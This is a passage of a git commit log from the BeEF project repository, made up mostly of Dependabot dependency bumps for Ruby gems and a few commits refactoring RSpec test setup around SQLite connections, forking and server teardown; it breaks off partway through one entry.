zinduolis
d05ff08dbc Merge pull request #3383 from beefproject/dependabot/bundler/rubyzip-3.0.2
Bump rubyzip from 2.4.1 to 3.0.2
2025-09-07 20:05:48 +10:00
dependabot[bot]
d67fa4f780 Bump rubyzip from 2.4.1 to 3.0.2
Bumps [rubyzip](https://github.com/rubyzip/rubyzip) from 2.4.1 to 3.0.2.
- [Release notes](https://github.com/rubyzip/rubyzip/releases)
- [Changelog](https://github.com/rubyzip/rubyzip/blob/main/Changelog.md)
- [Commits](https://github.com/rubyzip/rubyzip/compare/v2.4.1...v3.0.2)

---
updated-dependencies:
- dependency-name: rubyzip
  dependency-version: 3.0.2
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-09-07 09:58:33 +00:00
zinduolis
101bef502a Merge pull request #3359 from beefproject/dependabot/bundler/thin-2.0.1
Bump thin from 1.8.2 to 2.0.1
2025-09-07 19:50:46 +10:00
dependabot[bot]
b0ea6a94f6 Bump thin from 1.8.2 to 2.0.1
Bumps [thin](https://github.com/macournoyer/thin) from 1.8.2 to 2.0.1.
- [Release notes](https://github.com/macournoyer/thin/releases)
- [Changelog](https://github.com/macournoyer/thin/blob/master/CHANGELOG)
- [Commits](https://github.com/macournoyer/thin/compare/v1.8.2...v2.0.1)

---
updated-dependencies:
- dependency-name: thin
  dependency-version: 2.0.1
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-09-07 09:46:58 +00:00
github-actions[bot]
c5c2ee387f Merge pull request #3388 from beefproject/dependabot/bundler/curb-1.2.0
Bump curb from 1.1.0 to 1.2.0
2025-09-07 09:42:43 +00:00
dependabot[bot]
e01cff64d9 Bump curb from 1.1.0 to 1.2.0
Bumps [curb](https://github.com/taf2/curb) from 1.1.0 to 1.2.0.
- [Changelog](https://github.com/taf2/curb/blob/master/ChangeLog.md)
- [Commits](https://github.com/taf2/curb/commits)

---
updated-dependencies:
- dependency-name: curb
  dependency-version: 1.2.0
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-09-07 09:39:30 +00:00
github-actions[bot]
383f0c6481 Merge pull request #3390 from beefproject/dependabot/bundler/rubocop-1.80.2
Bump rubocop from 1.80.0 to 1.80.2
2025-09-07 09:38:14 +00:00
dependabot[bot]
d77a01d84f Bump rubocop from 1.80.0 to 1.80.2
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.80.0 to 1.80.2.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.80.0...v1.80.2)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-version: 1.80.2
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-09-07 09:34:29 +00:00
zinduolis
c7665fba3f Merge pull request #3386 from beefproject/red/dev
Fix forked SQLite connection handling to improve test accuracy (#3249)
2025-09-07 19:33:19 +10:00
zinduolis
31decb81b3 Centralised the initiation of MUTEX 2025-09-07 19:23:26 +10:00
zinduolis
e716de707a Merge branch 'master' into red/dev 2025-09-07 19:08:50 +10:00
zinduolis
c91b74e0ba Refactor database reset handling in AutoRunEngine and Websocket hooked browser specs for improved synchronization 2025-09-06 11:10:56 +10:00
zinduolis
3df5bcb904 Refactor database migration handling in browser details and websocket hooked browser specs for improved synchronization 2025-09-06 11:04:23 +10:00
zinduolis
41b595ae00 Remove unnecessary server preparation step and ensure ActiveRecord disconnection in teardown 2025-09-06 10:56:17 +10:00
zinduolis
f3834f730b Remove unnecessary server preparation step and ensure ActiveRecord disconnection in teardown 2025-09-06 10:52:04 +10:00
zinduolis
5a333d45a9 Remove unnecessary server preparation step and ensure ActiveRecord disconnection in teardown 2025-09-06 10:43:05 +10:00
zinduolis
ac6dfe50a5 Refactor database reset and migration handling in BeEF debug modules for improved synchronization and conditional execution 2025-09-06 10:36:13 +10:00
zinduolis
81a4caa836 Refactor server start-up process in BeEF debug modules for improved consistency and teardown handling 2025-09-06 10:19:23 +10:00
zinduolis
15fd00a69a Refactor server start-up process in AutoRunEngine and Websocket tests for improved initialization 2025-09-06 09:58:00 +10:00
zinduolis
e5c8a0c86d Refactor server teardown to improve error handling and cleanup process 2025-09-03 10:43:40 +10:00
zinduolis
6d0531f6b3 Change connection pool cleanup to run before each example in RSpec 2025-09-03 10:31:34 +10:00
zinduolis
f42fa9f599 Add connection pool cleanup after each example in RSpec 2025-09-03 10:18:20 +10:00
zinduolis
eecc73b941 Remove testing message and improve code formatting in spec files 2025-09-03 10:04:31 +10:00
zinduolis
dbc9fed9f2 Revert back to the original before troubleshooting sql forking issue 2025-09-03 09:40:41 +10:00
zinduolis
2494443829 Testing code running in github actions 2025-09-01 21:57:56 +10:00
zinduolis
e394f2e15f Update checkout action 2025-09-01 21:30:58 +10:00
zinduolis
407535da0f Merge branch 'red/dev' of https://github.com/beefproject/beef into red/dev 2025-09-01 21:08:22 +10:00
zinduolis
418dc226fd Update github_actions.yml
Troubleshooting different behaviour of tests when running locally and on remote branch
2025-08-28 18:47:03 +10:00
zinduolis
180c2f2c4e Troubleshooting discrepancy between local tests passing and remote not 2025-08-28 18:44:13 +10:00
zinduolis
1a4127c198 Update Gemfile.lock to bump dependencies and add platform support 2025-08-27 21:39:44 +10:00
zinduolis
56b34649b7 Comment out SERVER_START_TIMEOUT definition in spec_helper.rb 2025-08-27 21:20:24 +10:00
zinduolis
e93dc28174 Add disconnect_all_active_record! calls before forking in multiple specs for improved SQL connection handling safety 2025-08-25 23:30:54 +10:00
zinduolis
f9c630b5d6 Update .gitignore to include secrets for local GitHub Actions testing; refactor spec_helper.rb for improved fork handling 2025-08-25 22:24:15 +10:00
github-actions[bot]
2300a24c41 Merge pull request #3384 from beefproject/dependabot/bundler/rubocop-1.80.0
Bump rubocop from 1.79.2 to 1.80.0
2025-08-24 09:31:39 +00:00
dependabot[bot]
a403afe4df Bump rubocop from 1.79.2 to 1.80.0
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.79.2 to 1.80.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.79.2...v1.80.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-version: 1.80.0
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-08-22 13:22:46 +00:00
github-actions[bot]
50e8468236 Merge pull request #3371 from beefproject/dependabot/bundler/nokogiri-1.18.9
Bump nokogiri from 1.18.8 to 1.18.9
2025-08-21 01:29:45 +00:00
dependabot[bot]
fbd2c56122 Bump nokogiri from 1.18.8 to 1.18.9
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.18.8 to 1.18.9.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.18.8...v1.18.9)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-version: 1.18.9
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-08-21 01:27:15 +00:00
github-actions[bot]
237a85ef1f Merge pull request #3380 from beefproject/dependabot/bundler/selenium-webdriver-4.35.0
Bump selenium-webdriver from 4.34.0 to 4.35.0
2025-08-21 01:20:47 +00:00
dependabot[bot]
cd6f048100 Bump selenium-webdriver from 4.34.0 to 4.35.0
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.34.0 to 4.35.0.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/compare/selenium-4.34.0...selenium-4.35.0)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-version: 4.35.0
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-08-21 01:18:15 +00:00
github-actions[bot]
de71e2c792 Merge pull request #3377 from beefproject/dependabot/bundler/rubocop-1.79.2
Bump rubocop from 1.79.0 to 1.79.2
2025-08-21 00:53:12 +00:00
dependabot[bot]
111bd7ae0b Bump rubocop from 1.79.0 to 1.79.2
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.79.0 to 1.79.2.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.79.0...v1.79.2)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-version: 1.79.2
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-08-21 00:50:07 +00:00
github-actions[bot]
dbe6c0928a Merge pull request #3375 from beefproject/dependabot/bundler/json-2.13.2
Bump json from 2.13.1 to 2.13.2
2025-08-21 00:49:05 +00:00
dependabot[bot]
f7de4cd111 Bump json from 2.13.1 to 2.13.2
Bumps [json](https://github.com/ruby/json) from 2.13.1 to 2.13.2.
- [Release notes](https://github.com/ruby/json/releases)
- [Changelog](https://github.com/ruby/json/blob/master/CHANGES.md)
- [Commits](https://github.com/ruby/json/compare/v2.13.1...v2.13.2)

---
updated-dependencies:
- dependency-name: json
  dependency-version: 2.13.2
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-08-21 00:45:44 +00:00
github-actions[bot]
067c91da80 Merge pull request #3381 from beefproject/dependabot/bundler/activerecord-7.2.2.2
Bump activerecord from 7.2.2.1 to 7.2.2.2
2025-08-21 00:44:44 +00:00
dependabot[bot]
aa67fe5b9e Bump activerecord from 7.2.2.1 to 7.2.2.2
Bumps [activerecord](https://github.com/rails/rails) from 7.2.2.1 to 7.2.2.2.
- [Release notes](https://github.com/rails/rails/releases)
- [Changelog](https://github.com/rails/rails/blob/v8.0.2.1/activerecord/CHANGELOG.md)
- [Commits](https://github.com/rails/rails/compare/v7.2.2.1...v7.2.2.2)

---
updated-dependencies:
- dependency-name: activerecord
  dependency-version: 7.2.2.2
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-08-21 00:29:10 +00:00
github-actions[bot]
9db8df6fdd Merge pull request #3367 from beefproject/dependabot/npm_and_yarn/jsdoc-to-markdown-9.1.2
Bump jsdoc-to-markdown from 9.1.1 to 9.1.2
2025-08-21 00:26:05 +00:00
dependabot[bot]
94d8f9c252 Bump jsdoc-to-markdown from 9.1.1 to 9.1.2
Bumps [jsdoc-to-markdown](https://github.com/jsdoc2md/jsdoc-to-markdown) from 9.1.1 to 9.1.2.
- [Release notes](https://github.com/jsdoc2md/jsdoc-to-markdown/releases)
- [Commits](https://github.com/jsdoc2md/jsdoc-to-markdown/compare/v9.1.1...v9.1.2)

---
updated-dependencies:
- dependency-name: jsdoc-to-markdown
  dependency-version: 9.1.2
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-08-21 00:21:59 +00:00
github-actions[bot]
453edb8c9a Merge pull request #3370 from beefproject/dependabot/bundler/rubocop-1.79.0
Bump rubocop from 1.77.0 to 1.79.0
2025-07-25 20:35:32 +00:00
dependabot[bot]
0271331c66 Bump rubocop from 1.77.0 to 1.79.0
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.77.0 to 1.79.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.77.0...v1.79.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-version: 1.79.0
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-07-25 19:45:09 +00:00
github-actions[bot]
80093f6a91 Merge pull request #3372 from beefproject/dependabot/bundler/curb-1.1.0
Bump curb from 1.0.9 to 1.1.0
2025-07-25 19:44:10 +00:00
dependabot[bot]
a194ccb4d2 Bump curb from 1.0.9 to 1.1.0
Bumps [curb](https://github.com/taf2/curb) from 1.0.9 to 1.1.0.
- [Changelog](https://github.com/taf2/curb/blob/master/ChangeLog.md)
- [Commits](https://github.com/taf2/curb/commits)

---
updated-dependencies:
- dependency-name: curb
  dependency-version: 1.1.0
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-07-25 13:25:20 +00:00
github-actions[bot]
0339dbbc22 Merge pull request #3368 from beefproject/dependabot/bundler/sqlite3-2.7.3
Bump sqlite3 from 2.7.2 to 2.7.3
2025-07-24 22:49:51 +00:00
dependabot[bot]
7752f466fb Bump sqlite3 from 2.7.2 to 2.7.3
Bumps [sqlite3](https://github.com/sparklemotion/sqlite3-ruby) from 2.7.2 to 2.7.3.
- [Release notes](https://github.com/sparklemotion/sqlite3-ruby/releases)
- [Changelog](https://github.com/sparklemotion/sqlite3-ruby/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/sqlite3-ruby/compare/v2.7.2...v2.7.3)

---
updated-dependencies:
- dependency-name: sqlite3
  dependency-version: 2.7.3
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-07-24 22:47:17 +00:00
github-actions[bot]
231bcdea09 Merge pull request #3363 from beefproject/dependabot/bundler/rdoc-6.14.2
Bump rdoc from 6.14.1 to 6.14.2
2025-07-24 22:46:16 +00:00
dependabot[bot]
3f40aae9f9 Bump rdoc from 6.14.1 to 6.14.2
Bumps [rdoc](https://github.com/ruby/rdoc) from 6.14.1 to 6.14.2.
- [Release notes](https://github.com/ruby/rdoc/releases)
- [Changelog](https://github.com/ruby/rdoc/blob/master/History.rdoc)
- [Commits](https://github.com/ruby/rdoc/compare/v6.14.1...v6.14.2)

---
updated-dependencies:
- dependency-name: rdoc
  dependency-version: 6.14.2
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-07-24 13:31:25 +00:00
github-actions[bot]
ae4c7123f2 Merge pull request #3369 from beefproject/dependabot/bundler/json-2.13.1
Bump json from 2.12.2 to 2.13.1
2025-07-24 13:30:19 +00:00
dependabot[bot]
62cb20d694 Bump json from 2.12.2 to 2.13.1
Bumps [json](https://github.com/ruby/json) from 2.12.2 to 2.13.1.
- [Release notes](https://github.com/ruby/json/releases)
- [Changelog](https://github.com/ruby/json/blob/master/CHANGES.md)
- [Commits](https://github.com/ruby/json/compare/v2.12.2...v2.13.1)

---
updated-dependencies:
- dependency-name: json
  dependency-version: 2.13.1
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-07-24 13:27:00 +00:00
github-actions[bot]
97e9624cf8 Merge pull request #3364 from beefproject/dependabot/bundler/sqlite3-2.7.2
Bump sqlite3 from 2.7.1 to 2.7.2
2025-07-07 16:05:50 +00:00
dependabot[bot]
c4baa10274 Bump sqlite3 from 2.7.1 to 2.7.2
Bumps [sqlite3](https://github.com/sparklemotion/sqlite3-ruby) from 2.7.1 to 2.7.2.
- [Release notes](https://github.com/sparklemotion/sqlite3-ruby/releases)
- [Changelog](https://github.com/sparklemotion/sqlite3-ruby/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/sqlite3-ruby/compare/v2.7.1...v2.7.2)

---
updated-dependencies:
- dependency-name: sqlite3
  dependency-version: 2.7.2
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-07-07 16:03:01 +00:00
github-actions[bot]
bfb7cbf6a0 Merge pull request #3355 from beefproject/dependabot/bundler/rdoc-6.14.1
Bump rdoc from 6.14.0 to 6.14.1
2025-07-01 13:45:48 +00:00
dependabot[bot]
d2833ab8ef Bump rdoc from 6.14.0 to 6.14.1
Bumps [rdoc](https://github.com/ruby/rdoc) from 6.14.0 to 6.14.1.
- [Release notes](https://github.com/ruby/rdoc/releases)
- [Changelog](https://github.com/ruby/rdoc/blob/master/History.rdoc)
- [Commits](https://github.com/ruby/rdoc/compare/v6.14.0...v6.14.1)

---
updated-dependencies:
- dependency-name: rdoc
  dependency-version: 6.14.1
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-07-01 13:41:57 +00:00
github-actions[bot]
a962aaad4b Merge pull request #3362 from beefproject/dependabot/bundler/sqlite3-2.7.1
Bump sqlite3 from 2.7.0 to 2.7.1
2025-07-01 13:40:42 +00:00
dependabot[bot]
6baa7d19db Bump sqlite3 from 2.7.0 to 2.7.1
Bumps [sqlite3](https://github.com/sparklemotion/sqlite3-ruby) from 2.7.0 to 2.7.1.
- [Release notes](https://github.com/sparklemotion/sqlite3-ruby/releases)
- [Changelog](https://github.com/sparklemotion/sqlite3-ruby/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/sqlite3-ruby/compare/v2.7.0...v2.7.1)

---
updated-dependencies:
- dependency-name: sqlite3
  dependency-version: 2.7.1
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-07-01 13:37:12 +00:00
github-actions[bot]
a16f98fd39 Merge pull request #3361 from beefproject/dependabot/bundler/selenium-webdriver-4.34.0
Bump selenium-webdriver from 4.33.0 to 4.34.0
2025-06-30 16:29:12 +00:00
dependabot[bot]
e423771eaa Bump selenium-webdriver from 4.33.0 to 4.34.0
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.33.0 to 4.34.0.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/compare/selenium-4.33.0...selenium-4.34.0)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-version: 4.34.0
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-06-30 16:26:38 +00:00
zinduolis
e8a732d4cc Merge pull request #3360 from beefproject/red/dev
Update Discord invite code
2025-06-27 14:00:23 +10:00
zinduolis
5b13dbc833 Update Discord invite code 2025-06-26 16:21:48 +10:00
github-actions[bot]
713744d48e Merge pull request #3350 from beefproject/dependabot/bundler/rack-2.2.17
Bump rack from 2.2.16 to 2.2.17
2025-06-26 06:01:16 +00:00
dependabot[bot]
462b973e6f Bump rack from 2.2.16 to 2.2.17
Bumps [rack](https://github.com/rack/rack) from 2.2.16 to 2.2.17.
- [Release notes](https://github.com/rack/rack/releases)
- [Changelog](https://github.com/rack/rack/blob/main/CHANGELOG.md)
- [Commits](https://github.com/rack/rack/compare/v2.2.16...v2.2.17)

---
updated-dependencies:
- dependency-name: rack
  dependency-version: 2.2.17
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-06-20 13:25:26 +00:00
github-actions[bot]
6253c7c052 Merge pull request #3356 from beefproject/dependabot/bundler/rubocop-1.77.0
Bump rubocop from 1.76.1 to 1.77.0
2025-06-20 13:24:26 +00:00
dependabot[bot]
aac3f863c3 Bump rubocop from 1.76.1 to 1.77.0
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.76.1 to 1.77.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.76.1...v1.77.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-version: 1.77.0
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-06-20 13:21:47 +00:00
github-actions[bot]
4367deed58 Merge pull request #3348 from beefproject/dependabot/bundler/rake-13.3.0
Bump rake from 13.2.1 to 13.3.0
2025-06-10 13:34:41 +00:00
dependabot[bot]
137cb2c0c6 Bump rake from 13.2.1 to 13.3.0
Bumps [rake](https://github.com/ruby/rake) from 13.2.1 to 13.3.0.
- [Release notes](https://github.com/ruby/rake/releases)
- [Changelog](https://github.com/ruby/rake/blob/master/History.rdoc)
- [Commits](https://github.com/ruby/rake/compare/v13.2.1...v13.3.0)

---
updated-dependencies:
- dependency-name: rake
  dependency-version: 13.3.0
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-06-10 13:32:15 +00:00
github-actions[bot]
c1012442f5 Merge pull request #3352 from beefproject/dependabot/bundler/rubocop-1.76.1
Bump rubocop from 1.75.8 to 1.76.1
2025-06-10 13:31:10 +00:00
dependabot[bot]
af66637313 Bump rubocop from 1.75.8 to 1.76.1
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.75.8 to 1.76.1.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.75.8...v1.76.1)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-version: 1.76.1
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-06-10 13:28:28 +00:00
github-actions[bot]
58f7ace699 Merge pull request #3353 from beefproject/dependabot/bundler/sqlite3-2.7.0
Bump sqlite3 from 2.6.0 to 2.7.0
2025-06-10 13:27:21 +00:00
dependabot[bot]
ca1649e701 Bump sqlite3 from 2.6.0 to 2.7.0
Bumps [sqlite3](https://github.com/sparklemotion/sqlite3-ruby) from 2.6.0 to 2.7.0.
- [Release notes](https://github.com/sparklemotion/sqlite3-ruby/releases)
- [Changelog](https://github.com/sparklemotion/sqlite3-ruby/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/sqlite3-ruby/compare/v2.6.0...v2.7.0)

---
updated-dependencies:
- dependency-name: sqlite3
  dependency-version: 2.7.0
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-06-10 13:24:48 +00:00
github-actions[bot]
f369e938f2 Merge pull request #3345 from beefproject/dependabot/bundler/selenium-webdriver-4.33.0
Bump selenium-webdriver from 4.31.0 to 4.33.0
2025-05-29 14:06:51 +00:00
dependabot[bot]
1e2a411b8d Bump selenium-webdriver from 4.31.0 to 4.33.0
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.31.0 to 4.33.0.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/compare/selenium-4.31.0...selenium-4.33.0)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-version: 4.33.0
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-05-29 14:04:21 +00:00
github-actions[bot]
b93cb156fa Merge pull request #3347 from beefproject/dependabot/bundler/rubocop-1.75.8
Bump rubocop from 1.75.3 to 1.75.8
2025-05-29 14:03:16 +00:00
dependabot[bot]
734415fd45 Bump rubocop from 1.75.3 to 1.75.8
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.75.3 to 1.75.8.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.75.3...v1.75.8)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-version: 1.75.8
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-05-29 13:59:46 +00:00
github-actions[bot]
b13affafb1 Merge pull request #3344 from beefproject/dependabot/bundler/json-2.12.2
Bump json from 2.10.2 to 2.12.2
2025-05-27 13:40:22 +00:00
dependabot[bot]
f3ea1fed56 Bump json from 2.10.2 to 2.12.2
Bumps [json](https://github.com/ruby/json) from 2.10.2 to 2.12.2.
- [Release notes](https://github.com/ruby/json/releases)
- [Changelog](https://github.com/ruby/json/blob/master/CHANGES.md)
- [Commits](https://github.com/ruby/json/compare/v2.10.2...v2.12.2)

---
updated-dependencies:
- dependency-name: json
  dependency-version: 2.12.2
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-05-27 13:37:45 +00:00
github-actions[bot]
5e4fc2543b Merge pull request #3346 from beefproject/dependabot/bundler/rspec-3.13.1
Bump rspec from 3.13.0 to 3.13.1
2025-05-27 13:36:37 +00:00
dependabot[bot]
88951d66d5 Bump rspec from 3.13.0 to 3.13.1
Bumps [rspec](https://github.com/rspec/rspec) from 3.13.0 to 3.13.1.
- [Commits](https://github.com/rspec/rspec/compare/rspec-metagem-v3.13.0...rspec-v3.13.1)

---
updated-dependencies:
- dependency-name: rspec
  dependency-version: 3.13.1
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-05-27 13:33:48 +00:00
github-actions[bot]
89e7b07f95 Merge pull request #3340 from beefproject/dependabot/bundler/rdoc-6.14.0
Bump rdoc from 6.13.1 to 6.14.0
2025-05-22 13:41:45 +00:00
dependabot[bot]
80a7999e26 Bump rdoc from 6.13.1 to 6.14.0
Bumps [rdoc](https://github.com/ruby/rdoc) from 6.13.1 to 6.14.0.
- [Release notes](https://github.com/ruby/rdoc/releases)
- [Changelog](https://github.com/ruby/rdoc/blob/master/History.rdoc)
- [Commits](https://github.com/ruby/rdoc/compare/v6.13.1...v6.14.0)

---
updated-dependencies:
- dependency-name: rdoc
  dependency-version: 6.14.0
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-05-22 13:39:14 +00:00
github-actions[bot]
ca07677272 Merge pull request #3335 from beefproject/dependabot/bundler/mime-types-3.7.0
Bump mime-types from 3.6.2 to 3.7.0
2025-05-22 13:38:05 +00:00
dependabot[bot]
8fe1115f8b Bump mime-types from 3.6.2 to 3.7.0
Bumps [mime-types](https://github.com/mime-types/ruby-mime-types) from 3.6.2 to 3.7.0.
- [Changelog](https://github.com/mime-types/ruby-mime-types/blob/main/CHANGELOG.md)
- [Commits](https://github.com/mime-types/ruby-mime-types/compare/v3.6.2...v3.7.0)

---
updated-dependencies:
- dependency-name: mime-types
  dependency-version: 3.7.0
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-05-22 13:35:24 +00:00
github-actions[bot]
3bbe440036 Merge pull request #3341 from beefproject/dependabot/bundler/rack-2.2.16
Bump rack from 2.2.13 to 2.2.16
2025-05-22 13:34:19 +00:00
dependabot[bot]
c63501bd3a Bump rack from 2.2.13 to 2.2.16
Bumps [rack](https://github.com/rack/rack) from 2.2.13 to 2.2.16.
- [Release notes](https://github.com/rack/rack/releases)
- [Changelog](https://github.com/rack/rack/blob/main/CHANGELOG.md)
- [Commits](https://github.com/rack/rack/compare/v2.2.13...v2.2.16)

---
updated-dependencies:
- dependency-name: rack
  dependency-version: 2.2.16
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-05-22 13:31:47 +00:00
github-actions[bot]
b7eb3fa25f Merge pull request #3323 from beefproject/dependabot/bundler/nokogiri-1.18.8
Bump nokogiri from 1.18.4 to 1.18.8
2025-04-22 14:01:12 +00:00
dependabot[bot]
eff5516cc9 Bump nokogiri from 1.18.4 to 1.18.8
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.18.4 to 1.18.8.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.18.4...v1.18.8)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-version: 1.18.8
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-04-22 13:58:46 +00:00
github-actions[bot]
e630cfcd41 Merge pull request #3324 from beefproject/dependabot/bundler/rubocop-1.75.3
Bump rubocop from 1.75.2 to 1.75.3
2025-04-22 13:57:45 +00:00
dependabot[bot]
9f841bcdae Bump rubocop from 1.75.2 to 1.75.3
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.75.2 to 1.75.3.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.75.2...v1.75.3)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-version: 1.75.3
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-04-22 13:55:16 +00:00
github-actions[bot]
69bad18295 Merge pull request #3312 from beefproject/dependabot/bundler/rdoc-6.13.1
Bump rdoc from 6.13.0 to 6.13.1
2025-04-07 14:24:24 +00:00
dependabot[bot]
466a0c7d90 Bump rdoc from 6.13.0 to 6.13.1
Bumps [rdoc](https://github.com/ruby/rdoc) from 6.13.0 to 6.13.1.
- [Release notes](https://github.com/ruby/rdoc/releases)
- [Changelog](https://github.com/ruby/rdoc/blob/master/History.rdoc)
- [Commits](https://github.com/ruby/rdoc/compare/v6.13.0...v6.13.1)

---
updated-dependencies:
